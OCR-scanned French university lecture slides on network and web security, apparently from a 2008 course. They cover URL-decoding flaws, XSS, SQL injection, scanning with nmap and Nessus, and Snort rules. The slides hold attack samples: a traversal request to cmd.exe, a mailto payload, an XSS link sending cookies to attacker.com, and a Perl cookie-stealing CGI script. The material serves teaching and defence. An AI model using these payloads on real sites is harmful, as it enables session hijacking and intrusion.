/scripts/..%255¢c%255c../winnt/system32/cmd.exe?/c+dir" 404 -
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xemple de mauvais décodage
d'URL
* Vulnérabilité decouverte en juillet 2007

(CVE-2007-3845, BID-24837).

e Concerne Firefox sous Windows XP
avec Internet Explorer 7 installé

 Mauvaise gestion du caractere spécial
"%00" dans les chaines formant les URI
(Uniform Ressource ldentifier)
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xemple de mauvais décodage
d'URL

<a target="_blank" href="mailto:%00%00../../../../../lwindows/system32/cmd".exe .
A..1..1..1..1..lwindows/system32/calc.exe " - " toto.bat'>dp@ensicaen.fr</a>

= C:\windows\system32\cmd.exe

© Mozilla Firefox E@@

Fichier Edition Affichage Aller &4 Marque-pages Outils 2

- 5
r

- - ——
SR ) [ http: ffwwew.ducrot orgffirefoxur] htm v| @ x [& E ci Icu Iatrli CE | D i Z
LI Hotmail [ Personnaliser les liens [ Windows Media LI Windows — :

Enwoyer wotre courrier 1c1;d9 @ansmaanﬁ‘; \ Editil:lﬁ &.H_'i Chage E

Remure],

mailto: 36009600, /.1, /.f fwindows/system32/femd exe L L windowsfsystem 32/calc exe " - " toto bat |

Retour arriére | EfE || C

MC 7 8 3

b 1 2 3 14

MF; s || s E|“]?a’
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Le « cross site scripting »

o Attaque connue depuis féevrier 2000:
— http://www.cert.org/advisories/CA-2000-02.html
e Pourquol ce nom :

— Attaque baseée sur I'execution de scripts dans le
navigateur de la victime (javascript, vbscript, ...).

— La victime passe d’un site a l'autre sans s’en
apercevoir.
e L'acronyme XSS:
— CSS : Cascading Style Sheet

— XSS : Cross Site Scripting (exécution croisée de
code).

06/10/2008 - ENSICAEN -  (c)dp 134



F—=

ENSICAEN

(030 ALY SR VN O
W CENTRE JE EEKIRORE

Intérét de XSS

e http est un protocole sans notion de session: pas de
lien entre les requétes recues par le serveur.

* Une session doit étre construite artificiellement:
— Par un cookie envoyé au navigateur
— Par manipulation d'URL contenant un identifiant
— Par des parametres d’'un programme
— Etc.
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Exemple d'attaque

Serveur

Wictitme

1 — Lavictime auvre une session

2 —Elle récupére un cookie de session . )

5
3 - Lavictime .
. B — Le pirate se

BITYOiR S0 .

cookie de fait passer pour la
session vers e victime aupres du

- SENeUr
site pirate
4 — Le pirate consulte les journaux
¥ de son site
[ ]}«
_IN
VWY 5 — Il recupére le cookie de session de |3
wictirme

Firate
Servelr pirate
© Hervé Schauer Consultants  http://www.hsc.fr
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Comment détourner le cookie

* Le client a consulté un site pirate.

e Le client a recu un courrier électronique
contenant un lien vers un site pirate.

e Le serveur consulté a été piraté et contient un
lien vers le site pirate.

 Un code malveillant pointant vers le site
pirate a été insére dans les saisies du client.

e EtcC.
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Exemple de mise en oeuvre

e Une vulnérabilité XSS est détectée sur le site
www.vulnerable.com

e Un utilisateur clique sur un lien (recu par courriel,
trouvé sur un livre d'or, ...):

Nom d’'un champ du

r & http://www.ducrot.org/x.html - ... |ﬂ|&] formulaire
@f\_;j' - !SE_; http:;'.-"mmw_.ducrn:ut. - | +f| X | |_ <html>
Google |Gl E|'» () Paramétres~ <a _
G+ 33 (Cortes) | @ Nouvelle ldentité | 39 En » href= http.//www.vuInerable.com/var:<scr|pt>do
s ~ — cument.location.replace(http://attacker.com/steal
g s == - T () i i . . . "
W (38| 8 " B _'I .cgi?+document.cookie);</script>">
ch - cevoir S0 g . .. .
T cliquer ici pour recevoir 50 euros
- </a>
€ Internet | Mode protégé : désactn. #100% - </html>
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Script steal.cql

#!/usr/bin/perl

# steal.cgi by David Endler dendler@idefense.com

# Specific to your system

$mailprog = '/usr/shbin/sendmail’;

# create a log file of cookies, we’ll also email them too
open(COOKIES,”>>stolen_cookie_file”);

# what the victim sees, customize as needed

print "Content-type:text/ntml\n\n";

print <<EndOfHTML,;

<html><head><title>Cookie Stealing</title></head>

<body>

Your Cookie has been stolen. Thank you.

</body></html>

EndOfHTML

# The QUERY_STRING environment variable should be filled with
# the cookie text after steal.cqgi:

# http://lwww.attacker.com/steal.cgi? XXXXX

print COOKIES “$ENV{'QUERY_STRING'} from SENV{'REMOTE_ADDR}\n";
# now email the alert as well so we can start to hijack
open(MAIL,"|$mailprog -t");

print MAIL "To: attacken @attacker.com\n®;

print MAIL "From: cookie_steal\@attacker.com\n®;

print MAIL "Subject: Stolen Cookie Submission\n\n";

print MAIL "-" x 75 . "\n\n";

print MAIL “SENV{'QUERY_STRING'} from $SENV{'REMOTE_ADDR}\n";
close (MAIL);
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Exemple de code faible

ﬁnemunstratmn de XS5 - Microsoft Internet Explore = =]

| Fichier  Edition  Affichage Fawaris  Oukils 7 |-

_| daprécédente » = - ) [2] 4} | Threchercher ”“Liens e

Jﬂ.dresse @ htkpiffe450.ensicaen.ismra, frfe-dpfxssikest ] _xss, himl j E‘>OK
Entrer votre noml

&] Terminé |_ |_ | Internet 7

<html|>
<?php
print $nom ;
?>
</html|>

fichier test1_xss.php3
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Remede possible

* Ne jamais faire confiance a une saisie
utilisateur.

* Ne jamais afficher a I'écran tel quel une
saisie utilisateur.

e Filtrer tous les caracteres indésirables
(comme les caracteres < et >).

 Exemple en php:
print htmlispecialchars ("Bonjour $nom”) ;
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L 'authentification .htaccess

« Systeme d’authentification frequemment

utilisé pour restreindre I'acces au contenu de
repertoires spécifiques.

 Filtre par domaine, mécanisme login/mot de
passe.

* Fichier « .htaccess » par défaut.
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Exemple de connexion

+} about:blank - Microsoft Internet Explorer

J Fichier- Edition  Affichage Favoris  Oukils. 7

=101 x|

| #=Frecedente « = o~ G 2] 7% | @Rechercher i Favoris - & fHistorique |%v =8 EEE™

J Ldresse |

htkp:fins, ensicagn.ismr a, frftesthE

| @ok | |Lens »

Mot de passe réseau 3

¥

|@ Terming

T apez vatre nhom d'utilizateur et votre mot de pasze.

Site - nE. ensicasn izmra. fr

Dlomaine lot de Pasze

ed B3

Mom d'utilizatear ||:||:u

Mot de pasze

Ixxxx

[T Enregistrer ce mot de pazse dans votre liste: de mots de pazse

(H]

Bnnuler LI

&

Internet
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Ecoute de |la phase de
connexion

@ (Untitled) - Ethereal

Eile Edit Wiew Go Caphare Analvze Statistics

He
x 8 @ e DFE QQ@ I®D

= 2 | I
@Eilter:ﬂ vi == Expression. .. ] %ﬁglear1 o &DDW’ I
Mo, - |Time ISource |De5timatior1 ]rotoco‘ Into I

1 0.000000 192.168.16.251 193.49. 200, TCR 1760 > http [RST. ACK] Seq=0 Ack=0 win=0 Len=0

2 0.0018B88 192.168.16.251 192.49.200. TP 1764 > http [SvYM] Seq=0 Ack=0 wWin=16384 Len=0 MSS=146C

3 0.002541 193,49 200 16 192.168.16. TCP http > 17564 [SvM, ack] Seq=0 Ack=l win=3212Z0 Len=0 MS=

4. 0.002625 192 193.49.200 TCP 1764 > Seq=1l Ack=1 wWin=17520 [CHECKSUM INCC

1as.16. 251
1

6 0. 0035997 123.49. 200,16 d162.168.16. Segq=1l Ack=435 win=316586 Len=0

T O0.01lZ29949 193.49. 200,16 d1oz2.168.16. HTTF HTTP/l.l 401 Authordization Reqguired (textshtmld

S 0.120063 192.168.16.251 193.49.200. TCP 1754 > http [AackK] Seq=435 ack=7F6%2 win=16752 [CHECKSUM
|| Frame 5 (488 bwtes on wire, 488 bytes capturedy E:

Ethernet II, Src: 08:00:46:d9:96:1kh, Dst: QO0:dl:bhcige:05:c4
INnternet Protocol, Sre addr: 192.168.16.251 (192.168.16.2517, Dst addr: 193.49.200.16 (192.49,200.1670
Transmission Control Protocol, =Src Port: 1764 (A7643, Dst Port: http (803, sSeqg: 1, ack: 1, Len: 434
Hypertext Transter Protocol
I GET stestht HTTP /L.1%r™n
Accept: dmagesg9ifF,. dmagess=—xbitmap. dmagesipedg. magespipeg. applicationsSx-—shockwawve-—-flash, applicationsvwnd.ms
Accept—-Language: Trxrhhn
Accept—-encoding: g=zip, deflatehrwn
Usar—agent: mozillass1.0 Ccompatible; MmSIE 6.0; windows mMT S.1; Swl; (RMET CLR 1.0.37052%r%n
Host: ns.ecole.ensicaen. Trwrsn
Connection. Kesp—. A11ve\r\n

[E-A-2-2

Credent1a15: dp:tastmotpasse =
| [EH] [ >
0150 a5 65 3b 20 4d 53 49 45 20 36 22 30 3h 20 57 & e MSIE .05 Wi Eﬂ
O1a0 ae 84 6f 77 F53 Z0 4= 54 20 35 Ze 31 3b 20 53 5§ rndows WT S.01;: =W
0170 31 Zh 20 Ze 42 45 54 20 43 4¢< 52 20 31 22 30 Ze A5 NET CLR 1.0,
0150 33 37 30 35 29 0d 0a 48 5 73 ¥4 3a 20 5= 73 2 3?05) ast: ns.
01 S0 55 63 6T 6C 65 2Ze &5 G6a T3 69 &3 65 g2 2 & ]
olac 72 0d 0a 43 &6f Ge Ge 55 53 7 [=1=] G2 Za 20 4
[o} N aTs] 55 F0 Zd 471 Ta 55 od 5
01 <O i ==
(o =] ] Ta
01le0 0a
E3
I_j—|TTD Authorization he i P 80 g O =
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Injection SQL

e Beaucoup d'applications web s'appuient
sur des bases de données.

e Les requétes SQL utilisent des
Informations saisies par les utilisateurs.

e | es informations doivent étre traitées
avant utilisation.
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Injection SQL

L EX]

Fichier Edition Affichage Favoris CQutils ?

Google [Gl- ¥+ ? (D Paramétres-
w o i@http://javadoc.eco\e‘ensica". | | fi - B & - FPagev GOt~ T
Identification

Logie |

Password:

%) Infranet lacal H100% -

SELECT id FROM users WHERE login = '$login* AND password="$password’

Quel risque si les valeurs du formulaire sont utilisees sans
vérification ?
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Securite des
systemes
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Disponibilité

* Plusieurs ordinateurs peuvent étre regroupés en
grappe (cluster) pour étre visibles comme un seul

ordinateur et permettre:

— D'augmenter la disponibilité
— De mieux répartir la charge
— Permettre la montée en charge

 Exemples:
xgrid (apple), cluster linux, windows server, ...
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Virtualisation

« Ensemble des technologies matérielles et/ou logicielles qui permettent de faire
fonctionner sur une seule machine plusieurs systemes d'exploitation et/ou
plusieurs applications, séparément les uns des autres, comme s'ils
fonctionnaient sur des machines physiques distinctes.

 Optimiser l'usage des ressources d'une machine tout en isolant les services
entre eux.

o Différents niveaux de virtualisation:

— Virtualisation native: les pilotes mateériels sont émulés pour permettre l'installation d'un
autre systeme d'exploitation.

— Paravirtualisation: €mulation d'un systeme mais utilisation des pilotes spécifiques au
systeme utilisé.

— Virtualisation au niveau du systeme d'exploitation: isolation de plusieurs o
environnements au sein du méme systeme d'exploitation pour faire tourner differents
services.
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Logiciels de virtualisation

e vmware: http://www.vmware.com

virtualisateur; seul le processeur n'est pas émulé

e Xen: http://www.xensource.com/

Paravirtualisateur; supporte linux, freebsd, netbsd

e vserver:http://www.linux-vserver.org

virtualisation des environnements
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Les outils
d'attaques/défenses



ENSICAEN

Beaucoup d'outils disponibles

outils de sécurité

Visite de G. Bush aIaNSA en janvier 2006
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Anatomie d'une attaque

e Récolte d'informations sur une cible
potentielle.

 Interrogation des bases whois.
 Utilisation de moteurs de recherche.

 Analyse de la cible (cartographie,
recherche des services ouverts et des
vulnérabilités).
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Cartographie du réseau

 Méthode standard peu efficace: ping (Packet Internet Groper).
e Outils plus sophistiqués:

— Pinger http://www.nmrc.org/files/snt/
— fping http://www.fping.com
— hping3 http://www.hping.org

- Test firewall rules

- Advanced port scanning

- Test net performance using different protocols,
packet size, TOS (type of service) and

fragmentation.
- Path MTU discovery
- Transferring files between even really fascist

firewall rules.
- Traceroute-like under different protocols.
- Firewalk-like usage.
- Remote OS fingerprinting.
- TCP/IP stack auditing.

- A lot of others.
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Cartographie du réseau

e Le DNS d'un site centralise toutes les
machines connectées au réseau.

e Certains DNS incorrectement
configurés peuvent autoriser des
transferts de zones:

dig @ns.domaine.com domaine.com axfr
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Recherche des services
ouverts

e Recherche des services ouverts a un instant donné.

« Utilisation d'un scanner de ports

* Envoi d'un paquet (TCP,UDP,ICMP) sur une cible et
analyse du résultat; suivant les cas on pourra
déterminer I'état d'un port (ouvert,ferme, filtré).

« Beaucoup de logiciels disponibles:
Unix: nmap, jakal, IdentTCPscan
Windows: ISS,YAPS

06/10/2008 - ENSICAEN -  (c)dp 156



£5 0 T\

E
|
B
B

e

g'-.
g

(@]
im
4

Scan Spoofé

* hping permet de scanner une machine
en usurpant l'identité d'une autre:

scanner .
SYN, port, cible
source=rebond
RST S port
: fermre): SY
hping — rebond
rebor.]d RST s port
(machine ouvert
peu active)
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nmap

e Qutil de référence.

e nmap sous unix (http://www.nmap.org)

e Scanne une machine ou un réseau a la recherche
des services ouverts et de son identité.

o Supporte de nombreuses technigues de scan:
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nmap: techniques de scan

e vanilla TCP connect ()

« TCP SYN (half open)

« TCP FIN (stealth)

« Xmas scan

e Null scan

 TCP ftp proxy (bounce attack)
 SYN/FIN using IP fragments
o UDP recvfrom ()

« RPC scan

 Reverse-ident

06/10/2008 -ENSICAEN -  (c) dp
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nmap

 Beaucoup de fonctionnalités présentes dans nmap:

06/10/2008

Scan Sans envoi de trame ICMP (-P0)

Scan en mode verbeux (-v —V)

Impose le port source (-g port)
FingerPrinting: Remote OS detection (-O)
decoy scanning (-Ddecoy hostl,decoy?2],...])

Timing PoIliCY (T <Paranoid|Sneaky|Polite|Normal|Aggressive|insane)

-ENSICAEN -  (c) dp 160



06/10/2008

Zenmap

Sean

Tools Profile Help
&3

]
New Scan  Command Wizard

Save Scan

= 4
OpenScan | Reportabug  Help

Quick Full version Detection Scan on 192.16816.253 X ‘

Target [=] Profile: [=] [sean]
I Command: | nmap -T Aggressive -sV -n -0 -v 192.168.16.253
[ Hests Il Semvices Ports / Hasts | Nmap Output | Host Details | Scan Details |
OF | Hext Starting Nmap 4.68 ( Bitp://nmap.org ) et 2008-07-07 09:46 Paris, Madrid (heure d'été) =
A 19216816253 Initiating ARP Ping Scan at 09:46
Scanning 192.168.16.253 [1 port]
Corpleted ARF Ping Scan at 09:46, 0.43s elapsed (1 total hosts) I
Initiating SYN Stealth Scan at 09:46
I Scanning 192.168.16.253 [1715 ports]
Discoversd open port 22/tcp on 192.168.16.253
Discovered open port £0/tcp on 192.168.16.253
Discovered open port 23/tcp on 192.166.16.253
Discovered open port §000/tcp on 192.168.16.253
Discovered cpen port 110/tcp on 192.168.16.253
Discoversd open port 1025/tcp on 192.168.16.253
Discovered open port 1026/tcp on 192.168.16.253
Discovered open port 111/tcp on 192.168.16.253
Discovered open port 234/tcp on 192.168.16.253
Completed SYN Stealth Scan at 09:46, 0.41s elapsed (1715 total ports) &
Initiating Service scan at 09:46
Scanning 3 sexvices on 192.168.16.253
Completed Service scan at 09:46, 11.08s elapsed (9 services on 1 host)
Initiating 05 detection (try #1) against 192.168.16.253
SCRIPT ENGINE: Initiating script scanning.
Host 192.168.16.253 appears to be up ... good.
Interesting ports on 192.168.16.253:
Not shown: 1706 closed ports
PORT  STATE SERVICE VERSION
22/tcp  open ssh OpenSSH 3.7pl (protocol 1.99)
fl 23/tcp open telmet Linux telnetd
| 80/tcp  open http crosoft IIS webserver 5.0
110/tcp open pop3 Opopper pop3d 4.0.5
111/tcp open Tpchind
834/tcp open rpchbind =
1025/tcp open Tpchind
1026/tcp open or-ntern?
6000/tcp open (access denied)
MAC Addres :EA:7E:F7 (D-link Systems)
Device type: broadband router|WAP|media device|VoIP gateway|general purpose
Bunning: Linux 2.4.X
0S details: Linux 2.4.9 - 2.4.18 (likely embedded)
Uptime: 19.881 days (since Tue Jun 17 12:37:54 2008) &3
[7] Enable Nmap output highlight Preferences Refresh
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FingerPrinting passif

* FingerPrinting est dit passif quand Il
n'‘émet aucune information:

— Analyse des trames envoyées par une
machine distante.

— Analyse d'un fichier de log.

e Exemple: pOf
— http://www.stearns.org/pOf
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Assoclation port-processus

« Comment trouver localement quel processus
est en écoute sur un port:
— Unix
e netstat —anp (sur les versions récentes d'unix)

« commande plus générale: Isof (LISt Opened Files)
ftp://vic.cc.purdue.edu/pub/tools/unix/Isof

Isof —i | grep LISTEN

— Windows
e Active Ports
e tcpview
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Exemple Unix "lsof"”

httod 1063 root 16u IPv4 3262 TCP *:http (LISTEN)

httod 1060 nobody 16u IPv4 3262 TCP *:httpo (LISTEN)
httod 1061 nobody 16u IPv4 3262 TCP *:http (LISTEN)
httod 1062 nobody 16u IPv4 3262 TCP *:http (LISTEN)
httod 1063 nobody 16u IPv4 3262 TCP *:http (LISTEN)
httod 1064 nobody 16u IPv4 3262 TCP *:http (LISTEN)
sshd 1073 root 3u IPv4 3310 TCP *:ssh (LISTEN)

xinetd 1088 root bu IPv4d 3327 TCP *:pn-raproxy (LISTEN)
xinetd 1088 root 6u IPv4 3328 TCP *:telnet (LISTEN)
httod 1213 nobody 16u IPv4 3262 TCP *:http (LISTEN)
httod 7996 nobody 16u IPv4 3262 TCP *:http (LISTEN)
squid 14787 nobody 11u IPv4 13401405 TCP *:squid (LISTEN)
httpd 17885 nobody 16u IPv4 3262 TCP *:http (LISTEN)
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Exemple Windows

Bie Options 7
Process B LocallP Local Pt Remote P Remate Por Slde  Protocol! Path b
e schosl exe ik 00an 13 LISTEN TOR CAWINNTsapstema2iavchost exe
UeP gychost exe F16 17816015 123 LISTEN UDP CAWINNT System32hsvchost exe
TeF gychost exe £16 0000 1025 LISTEN TOP CAWINNTASystem3zhsvchost exe
Ut gychost exe B4 aoon 1030 LISTEN UDP CAWINNT Systema2hevchast eve
U0F sychost v 40 17876015 150 LISTEN UDP - CAWINNT\Spstem32isvchost exe
TEF sychogt v 0 aono Hoo B AWM T cter Th eychat v
"IEXPLOREE.. 1160 127001 423 # TCPView - Sysinternals: www.sysinternals.com
T# 3 : ;
sthd exe 1204 127001 1026 File Options Process WView Help
™ sihdese 1284 0000 n e S
‘ Ha ~
TeF thundebrdere 1524 127001 435 - - : i - o z
) [oCess El rotoco ocal ress emote ress tate A
" b ese 1524 122001 434 F7 slgexe1216 TCP dpvaio:1030 dpvain:0 LISTEMING
{ L} BigFixexe: 3304 UpP dpwain: 1963 e
== 1 eeyesvntens952  TLCP dpteaio: 2000 dprvain: LISTEMING
B ierplore.exe: 4760 TCP dpvaio.ecole.enzicaen. fr. 2555 zery] ecole. ensicaen.fr. 3128 CLOSE 'wialT
iyl e £ iexplore exe: 4760 uopP dpreaio: 3370 bicd
a0 B [ javaw.exe:5920 TCP dprvaic: G281 dpvaic0 LISTEMING
7 javaw.exe:5920 TCP dpreaio:EEE0 dpeeaic: LISTEMING
1 javaw.exe:5920 TCP dpwain: 45100 dpwaio: LISTEMING
[ javaw exe:5920 TCP dpeeaio: 2441 Imcalbost: 2442 ESTABLISHED
[ javaw. exe:5920 TCP dpreaio; 2442 localhost; 2441 ESTABLISHED
3 javaw.exe:5920 TCP dpwain: 2443 localhozt: 2444 ESTABLISHED
7 javaw exe:5920 TCP dpreaio: 2444 localbost: 2443 ESTABLISHED
1 javaw.exe:5920 TCR dpreaio; 2445 localhost 2446 ESTABLISHED
1 javaw. exe:5920 TCP dpwaio: 2446 localhozt: 2445 ESTABLISHED
[ javaw exe:5920 upP dpwaio: 6331 Ak
7 javaw. exe:5320 DR dpvain: 1300 i
1 javawexe:5920 oP dpvaio: 8002 bty
[ javaw exe:5920 UpP dpvaio.ecole. ensicaen. fr: 8002 i
v’i‘ kpfdquiess: 1916 TCF dpvaio: 1037 dpvaio:0 LISTEMING
5" kpldguiexe 1916 TCRP dpwaio; 1035 localhost; 44334 ESTABLISHED
5,‘ kpldguiexe 1916 TCP dpwaio: 1037 localhozt: 1039 ESTABLISHED
5,‘ kpfdguiess: 1916 uor dpvaio: 3435 e
5‘ kpldguiexe 1916 UopP dpvaio: 1036 1%
51 kpldguiexe 1916 uorP dprvaio: 1038 HE
/ / 5,‘ kpldgui.exe:B96 TCP dpwaio: 1027 dpwaio: LISTEMING G
06 10 2008 Al jesec 290 TCF dorvgio 1025 localhost 44334 ESTARLISHED




Recherche des versions
utilisees
 Les versions des services utilisées donnent des

Indications sur les vulnérabilites potentielles.

e Les versions peuvent parfois étre obtenues par un
simple telnet sur un port donné:

« Exemples:

Connerion  Edition Terminal
228 sdn.ismra.fr ESHTP Sendmail 8.9.3/8_9_3/ISHRA; Thu, 18 Oct 2861 28:12:45 +ﬂ

A8 {(MET D5T)

-
A ;
Connesion  Edition Terminal ¥
220 ehyS@.ensicaen.ismra.fr ESHTP Postfix ﬂ
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umero de version d'un serveur
web

dp@debian-mx1:~$ telnet www.ensicaen.fr 80

Trying 193.49.200.59...

Connected to serv2.ensicaen.fr.

Escape character is ]".

quit

<IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>

<TITLE>501 Method Not Implemented</TITLE>
</HEAD><BODY>

<H1>Method Not Implemented</H1>

quit to /index.html not supported.<P>

Invalid method in request quit<P>

<HR>

<ADDRESS>Apache/1.3.26 Server at www.ensicaen.fr Port 80</ADDRESS>
</BODY></HTML>

Connection closed by foreign host.

Attention: le résultat est-il garanti ?
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Concept de fallle

* Une faille est une vulnérabilité permettant a des
attaquants d'obtenir un acces non autorisé a un

systeme.

e On peut trouver des vulnérabilités a tous les niveaux:
— routeurs
— logiciels client/serveur
— systeme d'exploitation
— firewalls

06/10/2008 - ENSICAEN -  (c)dp 168



F—=

ENSICAEN

(030 ALY SR VN O
W CENTRE JE EEKIRORE

Vulnérabilités

» Des dizaines de vulnérabilités sont découvertes chaque
semaine (environ 2000 vulnérabilités au cours du ler semestre
2005).

« Une vulnérabilité peut étre la consequence d'une negligence
(mot de passe nul ou trivial par exemple) ou d'une erreur de
programmation (buffer overflow, ...).

» Certaines vulnérabilites peuvent étre gardées secretes (a des
fins d'espionnage, d'utilisation mafieuse, ...).

« Ladeécouverte de nouvelles vulnerabilites peut faire l'objet de
rémuneration; on entre dans I'ere du "vulnerability business".

» Certains sites diffusent des exploits sans mentionner de
correctifs.
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Vulnérabilités

 Un administrateur doit se tenir informe quotidiennement des
dernieres vulnérabilités et avoir de la réactivité.

« Beaucoup d'information en ligne:

— Sites officiels
« CERT (Computer Emergency Response Team)

» Gouvernement francais: CERTA (Centre d'Expertise de Réponse et de
Traitement des Attaques), composante du COSSI (Centre Opérationnel
de la Sécurité des Systemes d'Informations) au sein du DCSSI
(Direction Centrale de la Sécurité des Systemes d'Information)
dépendant du SGDN (Secrétaire Général de la Défense Nationale)
sous l'autorité du Premier Ministre.

— Sites spécialisés
 Listes de diffusion: BugTraq
(http://www.securityfocus.com)
» et beaucoup d'autres
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Correction des vulnérabilités

e Correctifs (patches) sur les sites des
constructeurs (pas toujours immediat).

e Récupérer les dernieres versions des
applications dans le cas des logiciels
libres.
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Recherche des vulnérabilités

e Un scanner est un programme qui détecte les
faiblesses de sécurité d'une machine distante ou
locale.

* Eninterrogeant les ports TCP/IP, on peut détecter:
— Les services executés a un moment précis
— Les utilisateurs propriétaires de ces services
— Si les connexions anonymes sont acceptées

— Si certains services réseaux néecessitent une
authentification

— eflc.
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Scanners

« Attention aux problemes legaux et
éthiques lors de l'utilisation de
scanners.

e | es scanners laissent des traces dans
les fichiers d'audit.

e On trouve des scanners commerciaux
et domaines public.
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Scanners

* Historiguement: SATAN (Security
Administrator's Tool for Analysing
Networks) distribué en avril 1995 par
Dan Farmer et Weitse Venema.

e Quelgues réferences de scanners:
—nessus http://www.nessus.org
—ISS http://www.Iss.net
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Nessus: un outll de test de
Sécurité
o Télechargeable sur :
— http://www.nessus.org
e Modele client/serveur:

« Utilise des plug-in

e Dispose un langage de programmation
(NASL = Nessus Attack Scripting Language)
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Nessus: suite

o Genere des rapports clairs et
exportables.

 Base de données des vulnérabilités
connues remise a jour regulierement.

e EfcC.
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Nessus: exemple de resultat

- ==

& Nessus : Untitled
File Help

S

Scan | Report |

Report: [08/07/07 02:53:20 PM - test ~ | [Delete | [Export... |

4 192168.16.253 OpenSSH < 3.7.1
‘You are running a version of OpenS5H which is older than 3.7.1

Versions alder than 3.7.1 are vulnerable to a flaw in the buffer management
functions which might allow an attacker to execute arbitrary commands on this
host.

An exploit for this issue is rumored to exist,

Mote that several distribution patched this hole without changing
the version number of OpenS5H. Since Nessus solely relied on the
banner of the remote S5H server to perform this chedk, this might
be a false positive.

If you are running a RedHat host, make sure that the command :
rpm -q openssh-server

Returns :

openssh-server-3. 1p1-13 (RedHat 7.x)
openssh-server-3.4p1-7 (RedHat 8.0)
openssh-server-3.5p1-11 (RedHat 9)

Solution : Upgrade to OpenSSH 3.7.1

See also : http: /imarc.info/?l =openbsd-miscém=1063754524237948w =2

http: {imarc.info /2l =openbsd-miscim=1063754565238048w =2

Risk factor : High

CVE : CVE-2003-0682, CVE-2003-0693, CVE-2003-0695

BID : 8628

Other references : TAVA: 2003-t-0020, OSVDB: 2557, OSVDB: 3455, RHSA:RHSA-2003: 279, SuSE:SUSE-5A:2003:039

MNessus ID : 11837

[ Filter...
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start_denial();
PADDING = 0x1c;
FRG_CONST = 0x3;
sport = 123;

dport = 321;

addr = this_host();
ip = forge_ip_packet(ip_v 24,

(extrait)

Exemple plug-in: bonk.nasl

I [

udpl = forge_udp_packet(ip :ip, uh_sport: sport, .
uh_dport: dport, uh_ulen : 8 + PADDING);

set_ip_elements(ip : ip, ip_off : FRG_CONST + 1,
ip_len : 20 + FRG_CONST);

udp2 = forge_udp_packet(ip : ip,uh_sport : sport,
uh_dport : dport, uh_ulen : 8 + PADDING);

ip_hl  :5, i
!p_ send_packet(udpl, udp2, pcap_active:FALSE) x
ip_len :20+ 8+ PADDING, 500
ip_id  :0x455,
ip_p : IPPROTO_UDP, sleep(5):
?p_tOS : 0, alive = end_denial();
ip_ttl : 0x40, if(lalive){
Ip_off - 1IP_MF, set_kb_item(name:"Host/dead",
ip_src :addr); value:TRUE);
security_hole(0, prototype:"udp");
v } R
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Exploitation des vulnérabilites

 Le compte rendu des scanners peut étre
corrélé avec les bases de données
d'incidents pour obtenir I'exploit
correspondant.

e exemples:
http://www.securityfocus.com (réferencement BID)
http://cve.mitre.org (référencement CVE)
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Intrusion Detection System

e Baseé sur;:

— une approche comportementale: définition de
profils type d'utilisateur, ...

— une approche par scenario: creation d'une base
de données d'attaques, de signatures, ...

 Un IDS ne doit pas générer trop de "faux positifs".

« Surveillance sur le reseau: NIDS (Network Intrusion
Detection System).
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Snort: un exemple de NIDS

e Network Intrusion Detection Software

e Permet de détecter les scanners et tentatives
d’'intrusion

e Téléchargeable sur http://www.snort.org

06/10/2008 - ENSICAEN -  (c)dp 181



F—=

ENSICAEN

L= ELULE R T ET gL
W CENTRE JE EEKIRORE

Snort: fonctionnalités

« Détection au niveau des protocoles
IP TCP UDP ICMP

 Détection d’activités anormales
Stealth scan, OS Finger Printing
code ICMP Invalide

 Preprocesseur pour la gestion des fragments,
les sessions http, ...
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Architecture de snort

A 4

Préprocesseur 1

A 4

Préprocesseur n

A

libpcap
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. exemples de regles

o alerttcp $SEXTERNAL NET any -> $SQL_SERVERS 3306
(msg:"MYSQL root login attempt"; flow:to_server,established,;
content:"|OA 00 00 01 85 04 00 00 80 72 6F 6F 74 00|";
classtype:protocol-command-decode; sid:1775; rev:1;)

o alerttcp SEXTERNAL_NET any -> $SQL_SERVERS 3306
(msg:"MYSQL show databases attempt";
flow:to_server,established; content:"|0f 00 00 00 03|show
databases"; classtype:protocol-command-decode; sid:1776;
rev:1;)
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06/10/2008

Eichier
€3 Précédente -~ ()

Adress:

Googler

Edition Affichage Favoris
€ B @& -~

F:E hthos: //178.16.1.2:445/cgi-bin/logs.cgifids .dat

Qutils 2

Rechercher 5

~

ééRecherche Web -

%@ =3 151"b.l.oqué;e.(;j E Ciptions

| OK | Liens

xemple de résultat snort (avec

SYSTEME &

Configuration:

SERYICES

b bl o doirs S tings heres:

JOURNAUX &

Mois: | bz ~ Jour: [1 |~ [ Mise &dour | [ Exparter |
Journaus:
Nombre total de réales d'intrusion activées pour Mai 1: 30
Plus ancien Plus récent
05/01 01:17:56 Nom: MS-SGL Worm propagation atternpt
Priorité: z Type: Mise Attack
I EOENA TGRS el 218.700,138.2:1956 -> 193.49,7200,250:1454
I'adresse IP:
Références: aucune entrée trouvée SID: 2003
Dat 05401 01;17:56 Nom: ME-2QL version overflow attempt
Priorité: 3 Type: Misc activity
Informations sur ; - e
e 218.700.138.2:1956 -> 193.49.200.250: 1434
Références: aucune sntrée trouvée SID: 2050
Dat 05/01 02:22:41 Nom: MS-SOL Worm propagation atternpt
Priorité: = Type: Misc Attack
Intoemarions sue 140.157.60.4:3856 -> 193.49,200,250:1454
I'adresse IP:
Références: aucune entrée trouvée SID: 2003
Dat 05/01 02:22:41 Nom: MS-SGL version overflow attempt
Priorité: 3 Type: Misc activity
LEiomaatione s 140.137.60.4: 3556 -> 193 .49.200.250: 1434
I'adresse IP:
Références: aucune entrés trouvée SID: 2050
Dat 05/01 02:42:56 Nom: MS-SOL Wormn propagation attermpt
Priorité: z Type: Misc Attack
Infoinations eug 172.193.155.18;3853 -> 193.49.700,250;: 1454
I'adresse IP:
Références: aucune entrée trouvée SID: 2003
Dat 05401 02:142:56 Nom: MS-SGL version overflow attsmpt
Priorité: = Type: Misc activity
Informations sur . ‘ ey - ‘
arsune 172.193.155.15:3853 -> 193.49.200.250:1434
Références: aucune sntrée trouvée SID: 2050
| Date: 05/01 03:52:14 Nom: MS-SOL Worm propagation attermnpt |
2 & Internet
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Exemple d'attaguant

3 IPCop - Informations IP - Microsoft Internet Explorer ‘:]@@

Eichier Edition  Affichage Favoris Outils 2 o
a = -
) Préceédente \ ] o) . - < " ; r |
3 ! <) x| |@] @w | -/ Rechercher S yFavoris € | (A~ d= 53 L
T — e . :
Adresse & htps: //178.16.1,2:445//cgi-bin/ipinfo.cgi7ip=218.200,138.2 B oK | Liens
v | @ Recherche Web >
The bad packets
218.200.138.2 {Résolution de nom ratée) : whois.apnic.net
% [whois.apnic.net node-1]
% TWhois data copyright terms http: /A fwmmw. apnic.net/dbdbcopyright.html
inetrnuam: 215.200.64.0 - 215.200.159.255
